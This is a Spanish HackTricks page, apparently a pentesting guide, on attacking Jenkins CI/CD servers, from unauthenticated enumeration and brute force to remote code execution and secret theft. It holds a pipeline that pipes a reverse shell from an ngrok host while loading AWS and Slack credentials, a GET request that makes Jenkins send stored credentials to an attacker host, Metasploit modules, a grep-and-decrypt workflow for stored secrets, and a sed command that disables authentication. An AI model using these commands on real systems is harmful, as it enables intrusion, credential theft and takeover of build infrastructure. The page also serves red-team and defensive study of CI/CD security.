Seguridad de Jenkins

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

Jenkins es una herramienta que ofrece un método sencillo para establecer un entorno de integración continua o entrega continua (CI/CD) para casi cualquier combinación de lenguajes de programación y repositorios de código fuente usando pipelines. Además, automatiza diversas tareas rutinarias de desarrollo. Aunque Jenkins no elimina la necesidad de crear scripts para pasos individuales, sí proporciona una forma más rápida y más robusta de integrar toda la secuencia de herramientas de compilación, pruebas y despliegue de lo que se puede construir manualmente con facilidad.

Basic Jenkins Information

Enumeración no autenticada

Para buscar páginas interesantes de Jenkins sin autenticación como (/people o /asynchPeople, esto lista los usuarios actuales) puedes usar:

msf> use auxiliary/scanner/http/jenkins_enum

Comprueba si puedes ejecutar comandos sin necesidad de autenticación:

msf> use auxiliary/scanner/http/jenkins_command

Sin credenciales puedes mirar dentro del path /asynchPeople/ o /securityRealm/user/admin/search/index?q= para nombres de usuario.

You may be able to get the Jenkins version from the path /oops or /error

Vulnerabilidades conocidas

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers \xc2\xb7 GitHub

Inicio de sesión

En la información básica puedes comprobar todas las formas de iniciar sesión en Jenkins:

Basic Jenkins Information

Registro

Podrás encontrar instancias de Jenkins que te permiten crear una cuenta e iniciar sesión en ellas. Así de simple.

Inicio de sesión SSO

Además, si la funcionalidad SSO/plugins estaban presentes deberías intentar iniciar sesión en la aplicación usando una cuenta de prueba (p. ej., una cuenta de prueba de Github/Bitbucket). Truco de aquí.

Bruteforce

Jenkins no tiene política de contraseñas ni mitigación de brute-force de nombres de usuario. Es esencial realizar brute-force sobre los usuarios ya que pueden usarse contraseñas débiles o nombres de usuario como contraseñas, incluso nombres de usuario invertidos como contraseñas.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Usa this python script o this powershell script.

IP Whitelisting Bypass

Muchas organizaciones combinan SaaS-based source control management (SCM) systems como GitHub o GitLab con una solución internal, self-hosted CI como Jenkins o TeamCity. Esta configuración permite que los sistemas CI receive webhook events from SaaS source control vendors, principalmente para desencadenar jobs de pipeline.

Para lograr esto, las organizaciones whitelist los IP ranges de las SCM platforms, permitiéndoles acceder al internal CI system vía webhooks. Sin embargo, es importante notar que anyone puede crear una account en GitHub o GitLab y configurarla para trigger a webhook, potencialmente enviando requests al internal CI system.

Check: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Internal Jenkins Abuses

En estos escenarios vamos a suponer que tienes una cuenta válida para acceder a Jenkins.

Warning

Dependiendo del Authorization mechanism configurado en Jenkins y de los permisos del usuario comprometido, puede que puedas o no realizar los siguientes ataques.

For more information check the basic information:

Basic Jenkins Information

Listing users

Si has accedido a Jenkins puedes listar a otros usuarios registrados en http://127.0.0.1:8080/asynchPeople/

Dumping builds to find cleartext secrets

Usa this script para dump build console outputs y build environment variables para, con suerte, encontrar secretos en texto claro.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)

Algunos plugins exponen controladores Jelly validateButton o test connection bajo rutas como /descriptorByName/<Class>/testConnection. Cuando los controladores no exigen POST ni comprobaciones de permisos, puedes:

  • Cambiar POST por GET y omitir el Crumb para evadir las comprobaciones CSRF.
  • Invocar el controlador como low-priv/anonymous si no existe una comprobación Jenkins.ADMINISTER.
  • Hacer CSRF a un admin y reemplazar el parámetro host/URL para exfiltrar credentials o provocar llamadas salientes.
  • Usar los errores de respuesta (p. ej., ConnectException) como un oráculo SSRF/port-scan.

Ejemplo GET (sin Crumb) que convierte una llamada de validación en SSRF/exfiltración de credentials:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

Si el plugin reutiliza credenciales almacenadas, Jenkins intentará autenticarse a attacker:4444 y puede leak identificadores o errores en la respuesta. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Robar credenciales SSH

Si el usuario comprometido tiene suficientes privilegios para crear/modificar un nuevo nodo de Jenkins y ya existen credenciales SSH almacenadas para acceder a otros nodos, podría robar esas credenciales creando/modificando un nodo y configurando un host que registre las credenciales sin verificar la clave del host:

Normalmente encontrarás las credenciales SSH de Jenkins en un global provider (/credentials/), así que también puedes dumpearlas como cualquier otro secreto. More information in the Dumping secrets section.

RCE en Jenkins

Obtener una shell en el servidor Jenkins le da al atacante la oportunidad de leak todos los secrets y las env variables y de explotar otras máquinas ubicadas en la misma red o incluso gather cloud credentials.

Por defecto, Jenkins se ejecuta como SYSTEM. Por tanto, comprometerlo dará al atacante privilegios SYSTEM.

RCE Creating/Modifying a project

Crear/Modificar un proyecto es una forma de obtener RCE en el servidor Jenkins:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

También puedes obtener RCE ejecutando un script Groovy, lo cual puede ser más sigiloso que crear un nuevo proyecto:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

También puedes obtener RCE creando/modificando un pipeline:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Para explotar pipelines aún necesitas tener acceso a Jenkins.

Build Pipelines

Pipelines también pueden usarse como mecanismo de build en proyectos; en ese caso se puede configurar un archivo dentro del repositorio que contendrá la sintaxis del pipeline. Por defecto se usa /Jenkinsfile:

También es posible almacenar archivos de configuración del pipeline en otros lugares (por ejemplo, en otros repositorios) con el objetivo de separar el acceso al repositorio y al pipeline.

Si un atacante tiene acceso de escritura sobre ese archivo podrá modificarlo y potencialmente activar el pipeline sin siquiera tener acceso a Jenkins. Es posible que el atacante necesite eludir algunas protecciones de rama (dependiendo de la plataforma y de los privilegios del usuario estas protecciones podrían ser eludidas o no).

Los triggers más comunes para ejecutar un pipeline personalizado son:

  • Pull request a la rama main (o potencialmente a otras ramas)
  • Push a la rama main (o potencialmente a otras ramas)
  • Actualizar la rama main y esperar hasta que se ejecute de alguna forma

Note

Si eres un external user no deberías esperar poder crear un PR to the main branch del repo de otro usuario/organización y trigger the pipeline… pero si está mal configurado podrías comprometer completamente empresas solo explotando esto.

Pipeline RCE

En la sección anterior de RCE ya se indicó una técnica para get RCE modifying a pipeline.

Checking Env variables

Es posible declarar env variables en texto claro para todo el pipeline o para etapas específicas. Estas env variables no deberían contener información sensible, pero un atacante podría revisar siempre todas las configuraciones del pipeline/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Extracción de secretos

Para información sobre cómo Jenkins suele tratar los secretos, consulta la información básica:

Basic Jenkins Information

Las credenciales pueden estar asignadas a proveedores globales (/credentials/) o a proyectos específicos (/job/<project-name>/configure). Por lo tanto, para exfiltrar todas ellas necesitas comprometer al menos todos los proyectos que contienen secretos y ejecutar pipelines personalizados o maliciosos.

Hay otro problema: para obtener un secreto dentro del env de un pipeline necesitas conocer el nombre y el tipo del secreto. Por ejemplo, si intentas cargar un usernamePassword secret como un string secret obtendrás este error:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Aquí tienes cómo cargar algunos secret types:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Al final de esta página puedes encontrar todos los tipos de credenciales: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

La mejor manera de volcar todos los secretos de una vez es comprometer la máquina Jenkins (ejecutando un reverse shell en el built-in node por ejemplo) y luego leaking las master keys y los encrypted secrets y descifrarlos offline.
Más sobre cómo hacer esto en la Nodes & Agents section y en la Post Exploitation section.

Triggers

From the docs: La directiva triggers define las formas automatizadas en las que el Pipeline debería volver a ejecutarse. Para Pipelines que están integrados con una fuente como GitHub o BitBucket, triggers puede no ser necesario ya que probablemente ya exista integración basada en webhooks. Los triggers actualmente disponibles son cron, pollSCM y upstream.

Cron example:

triggers { cron('H */4 * * 1-5') }

Consulta otros ejemplos en la docs.

Nodos & Agentes

Una instancia de Jenkins puede tener diferentes agentes corriendo en distintas máquinas. Desde la perspectiva de un atacante, el acceso a diferentes máquinas significa distintas credenciales cloud potenciales para robar o diferente acceso a la red que podría ser abusado para explotar otras máquinas.

Para más información consulta la información básica:

Basic Jenkins Information

Puedes enumerar los nodos configurados en /computer/, normalmente encontrarás el **Built-In Node ** (que es el nodo que ejecuta Jenkins) y potencialmente más:

Es especialmente interesante comprometer el Built-In node porque contiene información sensible de Jenkins.

Para indicar que quieres ejecutar la pipeline en el built-in Jenkins node puedes especificar dentro del pipeline la siguiente config:

pipeline {
agent {label 'built-in'}

Ejemplo completo

Pipeline en un agente específico, con un trigger cron, con variables env a nivel de pipeline y stage, cargando 2 variables en un step y enviando un reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Puedes listar los secrets accediendo a /credentials/ si tienes permisos suficientes. Ten en cuenta que esto solo listará los secrets dentro del archivo credentials.xml, pero los archivos de configuración de build podrían también contener más credentials.

Si puedes ver la configuración de cada proyecto, también puedes ver allí los nombres de las credentials (secrets) que se usan para acceder al repositorio y otras credentials del proyecto.

Desde Groovy

Jenkins Dumping Secrets from Groovy

Desde disco

Estos archivos son necesarios para descifrar Jenkins secrets:

  • secrets/master.key
  • secrets/hudson.util.Secret

Tales secrets suelen encontrarse en:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Aquí hay una regex para encontrarlos:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Descifrar secretos de Jenkins sin conexión

Si has volcado las contraseñas necesarias para descifrar los secretos, usa this script para descifrar esos secretos.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Descifrar secretos de Jenkins con Groovy

println(hudson.util.Secret.decrypt("{...}"))

Crear nuevo usuario administrador

  1. Accede al archivo config.xml de Jenkins en /var/lib/jenkins/config.xml or C:\Program Files (x86)\Jenkis\
  2. Busca la palabra <useSecurity>true</useSecurity> y cambia la palabra **true ** por false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Reinicia el servidor Jenkins: service jenkins restart
  5. Ahora vuelve al portal de Jenkins y Jenkins no pedirá credenciales esta vez. Navega a “Manage Jenkins” para establecer la contraseña de administrador nuevamente.
  6. Habilita la seguridad de nuevo cambiando la configuración a <useSecurity>true</useSecurity> y reinicia Jenkins nuevamente.

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks